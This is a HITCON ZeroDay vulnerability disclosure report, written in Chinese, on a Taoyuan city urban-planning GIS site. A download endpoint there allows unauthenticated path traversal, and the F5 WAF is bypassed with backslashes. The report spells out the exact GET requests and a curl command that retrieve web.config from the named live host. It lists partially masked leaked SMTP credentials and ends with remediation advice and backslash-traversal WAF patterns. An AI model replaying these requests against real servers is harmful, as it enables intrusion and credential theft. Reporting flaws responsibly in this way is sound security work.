Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00850
- Vendor: {桃園市政府都市發展局}
- Title: 桃園市都市計畫地理資訊服務網WAF 繞過導致路徑穿越任意檔案讀取(含資料庫憑證完整洩漏)
- Introduction: WAF 繞過導致路徑穿越任意檔案讀取(含資料庫憑證完整洩漏)
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2026/06/18 14:22:40 : 新提交 (由 #! 更新此狀態)
- 2026/06/18 14:24:09 : 新提交 (由 #! 更新此狀態)
- 2026/06/18 14:24:42 : 新提交 (由 #! 更新此狀態)
- 2026/06/18 14:25:22 : 新提交 (由 #! 更新此狀態)
- 2026/06/18 14:26:13 : 新提交 (由 #! 更新此狀態)
- 2026/06/18 14:29:02 : 新提交 (由 #! 更新此狀態)
- 2026/06/18 17:01:37 : 新提交 (由 #! 更新此狀態)
- 2026/06/21 13:57:53 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/07/06 17:19:12 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/07/06 17:19:12 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/07/06 17:19:12 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/18 03:00:06 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-00850
- 通報者:summer83583 (#!)
- 風險:嚴重
- 類型:存取控制缺陷 (Broken Access Control)
參考資料
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
相關網址
敘述
弱點摘要:
桃園市都市計畫地理資訊服務網(urplanning.tycg.gov.tw)子應用程式 /TyRWUrbanCIA/ 的檔案下載端點 /BIA/All_Download/ 存在路徑穿越(Path Traversal)弱點,且部署之 F5 BIG-IP WAF 規則未涵蓋 Windows 反斜線路徑分隔符號(\),導致 WAF 防護可被繞過。
無需任何認證,透過單一 HTTP GET 請求即可讀取伺服器任意檔案,已確認成功取得應用程式 web.config 設定檔,其中包含:
• 多組 SQL Server 資料庫帳號密碼(桃園、嘉義縣、屏東縣、彰化縣政府系統)
• 一組位於公開網際網路 IP(60.250.99.172)的資料庫明文帳密
• 政府郵件伺服器(mail.tycg.gov.tw)SMTP 帳號密碼
• 系統管理員預設帳密
• 伺服器實體路徑
受影響端點:
URL:https://urplanning.tycg.gov.tw/TyRWUrbanCIA/BIA/All\_Download/
參數:file(GET 參數)
認證需求:無(未驗證身份即可存取)
HTTP 方法:GET
WAF:F5 BIG-IP(部分規則缺失)
後端技術 :ASP.NET MVC / Microsoft IIS / Windows Server
弱點技術分析:
後端下載邏輯直接將用戶輸入的 file 參數拼接至伺服器實體路徑:
基礎路徑:D:\Web\TyRwUrbanCIA\files\
完整路徑:D:\Web\TyRwUrbanCIA\files\ + [user-controlled file parameter]
程式碼邏輯推估(ASP.NET MVC):
// 未安全驗證的危險實作
public ActionResult All_Download(string file)
{
string basePath = Server.MapPath("~/files/");
string fullPath = Path.Combine(basePath, file); // 未驗證 file 參數
byte[] content = System.IO.File.ReadAllBytes(fullPath);
return File(content, "application/vnd.ms-excel", file);
}
WAF 繞過原理
F5 BIG-IP WAF 的路徑穿越規則僅過濾正斜線(/)變體,未包含 Windows 路徑分隔符號反斜線(\)及其編碼形式。
攻擊路徑(Attack Chain)
步驟一:確認端點存在
GET /TyRWUrbanCIA/BIA/All_Download/?file=test.xlsx HTTP/1.1
Host: urplanning.tycg.gov.tw
回應(確認端點有效):
HTTP/1.1 500 Internal Server Error
Content-Type: application/vnd.ms-excel; charset=utf-8
Content-Disposition: attachment; filename=test.xlsx
步驟二:確認 WAF 繞過
GET /TyRWUrbanCIA/BIA/All_Download/?file=../web.config HTTP/1.1
Host: urplanning.tycg.gov.tw
回應(正斜線被攔截):
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
\<html>\<head>\<title>Request Rejected\</title>\</head>
\<body>The requested URL was rejected. Your support ID is: 12580724321118944661\</body>
GET /TyRWUrbanCIA/BIA/All_Download/?file=..\web.config HTTP/1.1
Host: urplanning.tycg.gov.tw
回應(反斜線繞過 WAF,成功讀取):
HTTP/1.1 200 OK
Content-Type: application/vnd.ms-excel; charset=utf-8
Content-Disposition: attachment; filename=..\web.config
Content-Length: 15597
\<?xml version="1.0" encoding="utf-8"?>
\<configuration>
\<connectionStrings>
...(完整資料庫帳密)...
\</connectionStrings>
\</configuration>
步驟三:取得完整 web.config
curl -s "https://urplanning.tycg.gov.tw/TyRWUrbanCIA/BIA/All\_Download/?file=..\\web.config"
# → 回傳 15,597 bytes,包含完整設定檔
已確認洩漏資料
以下資訊已從伺服器實際取得,為系統現行運作中的憑證
疑似取得廠商使用的市府信箱
SMTP 伺服器 mail.tycg.gov.tw
帳號 ur**
密碼 ty*****01
信箱 ur****@mail.tycg.gov.tw
修補建議
1. 停用或下線 /TyRWUrbanCIA/BIA/All\_Download/ 端點
2. 更換所有洩漏的資料庫帳號密碼(尤其是 60.250.99.172 的帳密)
3. 確認並關閉 60.250.99.172 的 TCP Port 1433 對外存取
4. 更換 SMTP 郵件帳號密碼
5. 通報 嘉義縣、屏東縣、彰化縣政府確認其系統帳密是否仍有效
6. 更新 F5 WAF 規則,補充反斜線路徑穿越特徵:
• \\.\\. / %5c%5c / %5C%5C
• ..%5c / %2e%2e%5c
7. 修改下載端點,對 file 參數實施白名單驗證:
// 安全實作
if (!Regex.IsMatch(file, @"^\[a-zA-Z0-9\_\\-\]+\\.xlsx$"))
return new HttpStatusCodeResult(400);
string safePath = Path.Combine(Server.MapPath("~/files/"), Path.GetFileName(file));
if (!safePath.StartsWith(Server.MapPath("~/files/")))
return new HttpStatusCodeResult(403);
8. 清除 web.config 中所有已註解的歷史帳密